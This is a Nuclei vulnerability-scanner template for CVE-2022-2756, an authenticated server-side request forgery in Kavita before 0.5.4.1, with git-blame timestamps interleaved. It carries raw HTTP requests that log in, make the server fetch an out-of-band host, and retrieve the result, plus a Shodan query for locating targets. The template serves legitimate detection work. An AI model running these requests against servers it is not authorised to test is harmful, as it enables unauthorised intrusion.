2023-03-31 11:28:24 +00:00
id : CVE-2022-2756
info :
2023-04-13 15:52:59 +00:00
name : Kavita <0.5.4.1 - Server-Side Request Forgery
2023-03-31 11:28:24 +00:00
author : theamanrawat
severity : medium
description : |
2023-04-13 15:52:59 +00:00
Kavita before 0.5.4.1 is susceptible to server-side request forgery in GitHub repository kareadita/kavita. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-06 11:59:08 +00:00
remediation : Fixed in 0.5.4.1.
2023-03-31 11:28:24 +00:00
reference :
- https://huntr.dev/bounties/95e7c181-9d80-4428-aebf-687ac55a9216/
- https://github.com/kareadita/kavita
2023-03-31 16:11:22 +00:00
- https://github.com/kareadita/kavita/commit/9c31f7e7c81b919923cb2e3857439ec0d16243e4
2023-04-13 15:52:59 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-2756
2023-03-31 11:28:24 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score : 6.5
cve-id : CVE-2022-2756
cwe-id : CWE-918
2023-11-16 10:31:49 +00:00
epss-score : 0.01041
2023-11-20 10:15:32 +00:00
epss-percentile : 0.8228
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:kavitareader:kavita:*:*:*:*:*:*:*:*
2023-03-31 11:28:24 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : kavitareader
product : kavita
2023-09-06 11:59:08 +00:00
shodan-query : title:"kavita"
2023-07-11 19:49:27 +00:00
tags : ssrf,kavita,authenticated,huntr,cve,cve2022,intrusive
2023-03-31 11:28:24 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-31 11:28:24 +00:00
- raw :
- |
POST /api/account/login HTTP/1.1
Host : {{Hostname}}
Accept : application/json, text/plain, */*
Content-Type : application/json
{"username" : "{{username}}" , "password" : "{{password}}" }
- |
POST /api/upload/upload-by-url HTTP/1.1
Host : {{Hostname}}
Accept : application/json, text/plain, */*
Authorization : Bearer {{token}}
Content-Type : application/json
{"url" : "http://oast.me/#.png" }
- |
GET /api/image/cover-upload?filename=coverupload_{{filename}}.png HTTP/1.1
Host : {{Hostname}}
Authorization : Bearer {{token}}
matchers-condition : and
matchers :
- type : word
part : body_3
words :
2023-07-11 19:49:27 +00:00
- Interactsh Server
2023-03-31 11:28:24 +00:00
- type : word
part : header
words :
2023-07-11 19:49:27 +00:00
- image/png
2023-03-31 11:28:24 +00:00
- type : status
status :
- 200
extractors :
- type : regex
name : token
group : 1
regex :
- '"token":"(.*?)"'
2023-07-11 19:49:27 +00:00
internal : true
2023-03-31 11:28:24 +00:00
- type : regex
name : filename
group : 1
regex :
2023-07-11 19:49:27 +00:00
- coverupload.(.*?).png
internal : true
2023-11-21 07:14:20 +00:00
# digest: 4b0a00483046022100d9ec86026c7ce8ba9bd9285dae5cd15f309574bfe1c85b04bee4a1c2f4da0d56022100b5a416d9c2420d283100bb162b269382205962723b7ee772180bb9e38d83a4cd:922c64590222798bb761d5b6d8e72950